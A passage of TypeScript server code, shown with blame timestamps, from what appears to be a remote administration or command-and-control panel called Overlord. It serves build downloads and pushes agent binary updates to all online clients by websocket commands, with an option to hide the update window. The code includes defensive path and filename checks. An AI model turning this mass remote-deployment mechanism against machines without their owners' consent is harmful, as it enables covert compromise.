fileName . includes ( "\"" ) ||
fileName . includes ( "\r" ) ||
fileName . includes ( "\n" ) ||
fileName . includes ( ";" )
2026-03-05 00:04:26 -06:00
) {
return Response . json ({ error : "File not found" }, { status : 404 });
}
2026-04-29 00:22:37 -05:00
const allBuilds = getAllBuilds ( undefined , "admin" );
const owningBuild = allBuilds . find (( b ) =>
Array . isArray ( b . files ) && b . files . some (( f : any ) => f && f . filename === fileName ),
);
if ( ! owningBuild ) {
return Response . json ({ error : "File not found" }, { status : 404 });
}
if (
owningBuild . builtByUserId &&
owningBuild . builtByUserId !== user . userId &&
user . role !== "admin"
) {
return new Response ( "Forbidden" , { status : 403 });
}
2026-03-05 00:04:26 -06:00
const rootDir = resolveRuntimeRoot ();
const distRoot = path . resolve ( rootDir , "dist-clients" );
const filePath = path . resolve ( distRoot , fileName );
const rootWithSep = distRoot . endsWith ( path . sep )
? distRoot
: ` ${ distRoot }${ path . sep } ` ;
if ( ! filePath . startsWith ( rootWithSep )) {
return Response . json ({ error : "File not found" }, { status : 404 });
}
const file = Bun . file ( filePath );
if ( ! ( await file . exists ())) {
return Response . json ({ error : "File not found" }, { status : 404 });
}
return new Response ( file , {
headers : {
2026-06-10 19:54:18 -05:00
"Content-Type" : fileName . toLowerCase (). endsWith ( ".txt" )
? "text/plain; charset=utf-8"
: "application/octet-stream" ,
2026-03-05 00:04:26 -06:00
"Content-Disposition" : `attachment; filename=" ${ fileName } "` ,
},
});
}
2026-03-29 13:39:51 -05:00
if ( req . method === "POST" && url . pathname === "/api/build/update-eligible" ) {
requirePermission ( user , "clients:build" );
let body : any = {};
try {
body = await req . json ();
} catch {
return new Response ( "Bad request" , { status : 400 });
}
// Accept either a buildId (check existing build files) or platforms array (pre-build check)
const buildId = typeof body ? . buildId === "string" ? body . buildId : "" ;
const platforms : string [] = Array . isArray ( body ? . platforms ) ? body . platforms . filter (( p : any ) => typeof p === "string" ) : [];
let targetPlatforms : Set < string >;
if ( buildId ) {
const build = buildManager . getBuildStream ( buildId );
const dbBuild = ! build ? getBuild ( buildId ) : null ;
const files = build ? . files ?? dbBuild ? . files ;
if ( ! files || files . length === 0 ) {
return Response . json ({ error : "Build not found or has no files" }, { status : 404 });
}
const rootDir = resolveRuntimeRoot ();
const distRoot = path . resolve ( rootDir , "dist-clients" );
targetPlatforms = new Set < string >();
for ( const f of files as any []) {
const platform = ( f as any ). platform as string | undefined ;
const filename = f . filename || f . name ;
if ( ! platform || ! filename ) continue ;
const filePath = path . resolve ( distRoot , filename );
if ( fs . existsSync ( filePath )) {
targetPlatforms . add ( platform );
}
}
} else if ( platforms . length > 0 ) {
targetPlatforms = new Set ( platforms );
} else {
return Response . json ({ error : "Missing buildId or platforms" }, { status : 400 });
}
if ( targetPlatforms . size === 0 ) {
return Response . json ({ error : "No matching platforms found" }, { status : 404 });
}
const onlineClients = clientManager . getOnlineClients ();
let eligible = 0 ;
let skippedInMemory = 0 ;
let skippedNoMatch = 0 ;
for ( const client of onlineClients ) {
if ( client . inMemory ) {
skippedInMemory ++ ;
continue ;
}
const clientOs = client . os ? . toLowerCase () || "" ;
2026-05-05 19:31:55 -05:00
const clientArch = ( client . hostArch || client . arch || "" ). toLowerCase ();
2026-03-29 13:39:51 -05:00
const clientPlatform = ` ${ clientOs } - ${ clientArch } ` ;
if ( ! targetPlatforms . has ( clientPlatform )) {
skippedNoMatch ++ ;
continue ;
}
eligible ++ ;
}
return Response . json ({
eligible ,
skippedInMemory ,
skippedNoMatch ,
totalOnline : onlineClients.length ,
});
}
if ( req . method === "POST" && url . pathname === "/api/build/update-all" ) {
2026-05-19 00:46:30 -05:00
requirePermission ( user , "deploys:manage" );
2026-03-29 13:39:51 -05:00
let body : any = {};
try {
body = await req . json ();
} catch {
return new Response ( "Bad request" , { status : 400 });
}
const buildId = typeof body ? . buildId === "string" ? body . buildId : "" ;
if ( ! buildId ) {
return Response . json ({ error : "Missing buildId" }, { status : 400 });
}
const build = buildManager . getBuildStream ( buildId );
const dbBuild = ! build ? getBuild ( buildId ) : null ;
const files = build ? . files ?? dbBuild ? . files ;
if ( ! files || files . length === 0 ) {
return Response . json ({ error : "Build not found or has no files" }, { status : 404 });
}
const rootDir = resolveRuntimeRoot ();
const distRoot = path . resolve ( rootDir , "dist-clients" );
const hideWindow = body ? . hideWindow === true ;
const buildPlatforms = new Map < string , { filename : string ; filePath : string ; size : number }>();
for ( const f of files as any []) {
const platform = ( f as any ). platform as string | undefined ;
const filename = f . filename || f . name ;
if ( ! platform || ! filename ) continue ;
const filePath = path . resolve ( distRoot , filename );
const rootWithSep = distRoot . endsWith ( path . sep ) ? distRoot : ` ${ distRoot }${ path . sep } ` ;
if ( ! filePath . startsWith ( rootWithSep )) continue ;
if ( ! fs . existsSync ( filePath )) continue ;
const stat = fs . statSync ( filePath );
buildPlatforms . set ( platform , { filename , filePath , size : stat.size });
}
if ( buildPlatforms . size === 0 ) {
return Response . json ({ error : "No build files found on disk" }, { status : 404 });
}
// Pre-compute hashes per platform (avoid re-reading per client)
const platformHashes = new Map < string , string >();
for ( const [ platform , buildFile ] of buildPlatforms ) {
const fileBytes = new Uint8Array ( fs . readFileSync ( buildFile . filePath ));
platformHashes . set ( platform , createHash ( "sha256" ). update ( fileBytes ). digest ( "hex" ));
}
const onlineClients = clientManager . getOnlineClients ();
const results : Array < { clientId : string ; ok : boolean ; reason? : string } > = [];
for ( const client of onlineClients ) {
if ( client . inMemory ) {
results . push ({ clientId : client.id , ok : false , reason : "in_memory" });
continue ;
}
if ( ! client . ws ) {
results . push ({ clientId : client.id , ok : false , reason : "no_ws" });
continue ;
}
const clientOs = client . os ? . toLowerCase () || "" ;
2026-05-05 19:31:55 -05:00
const clientArch = ( client . hostArch || client . arch || "" ). toLowerCase ();
2026-03-29 13:39:51 -05:00
const clientPlatform = ` ${ clientOs } - ${ clientArch } ` ;
const buildFile = buildPlatforms . get ( clientPlatform );
if ( ! buildFile ) {
results . push ({ clientId : client.id , ok : false , reason : "no_matching_build" });
continue ;
}
try {
const fileHash = platformHashes . get ( clientPlatform ) ! ;
const clientNormOs = normalizeClientOs ( client . os );
const destDir = clientNormOs === "windows"
? `C:\\Windows\\Temp\\Overlord\\update- ${ buildId . substring ( 0 , 8 ) } `
: `/tmp/overlord/update- ${ buildId . substring ( 0 , 8 ) } ` ;
const destPath = clientNormOs === "windows"
? ` ${ destDir } \\ ${ buildFile . filename } `
: ` ${ destDir } / ${ buildFile . filename } ` ;
const pullId = createUploadPull ({
clientId : client.id ,
filePath : buildFile.filePath ,
fileName : buildFile.filename ,
size : buildFile.size ,
});
const pullUrl = ` ${ url . origin } /api/file/upload/pull/ ${ encodeURIComponent ( pullId ) } ` ;
client . ws . send (
encodeMessage ({
type : "command" ,
commandType : "file_upload_http" ,
id : uuidv4 (),
payload : { path : destPath , url : pullUrl , total : buildFile.size },
}),
);
if ( clientNormOs !== "windows" ) {
client . ws . send (
encodeMessage ({
type : "command" ,
commandType : "file_chmod" ,
id : uuidv4 (),
payload : { path : destPath , mode : "0755" },
}),
);
}
client . ws . send (
encodeMessage ({
type : "command" ,
commandType : "agent_update" ,
id : uuidv4 (),
payload : { path : destPath , hash : fileHash , hideWindow },
}),
);
metrics . recordCommand ( "agent_update" );
results . push ({ clientId : client.id , ok : true });
} catch ( err : any ) {
results . push ({ clientId : client.id , ok : false , reason : err?.message || "unknown_error" });
}
}
const successCount = results . filter (( r ) => r . ok ). length ;
const ip = server . requestIP ( req ) ? . address || "unknown" ;
logAudit ({
timestamp : Date.now (),
username : user.username ,
ip ,
action : AuditAction.AGENT_UPDATE ,
success : true ,
details : `update-all: ${ successCount } / ${ onlineClients . length } clients updated from build ${ buildId . substring ( 0 , 8 ) } ` ,
});
logger . info ( `[build:update-all] ${ user . username } updated ${ successCount } / ${ onlineClients . length } clients from build ${ buildId . substring ( 0 , 8 ) } ` );
return Response . json ({
ok : true ,
totalOnline : onlineClients.length ,
successCount ,
results ,
});
}
2026-03-05 00:04:26 -06:00
return new Response ( "Not found" , { status : 404 });
} catch ( error ) {
if ( error instanceof Response ) {
return error ;
}
logger . error ( "[build] API error:" , error );
return Response . json ({ error : "Internal server error" }, { status : 500 });
}
}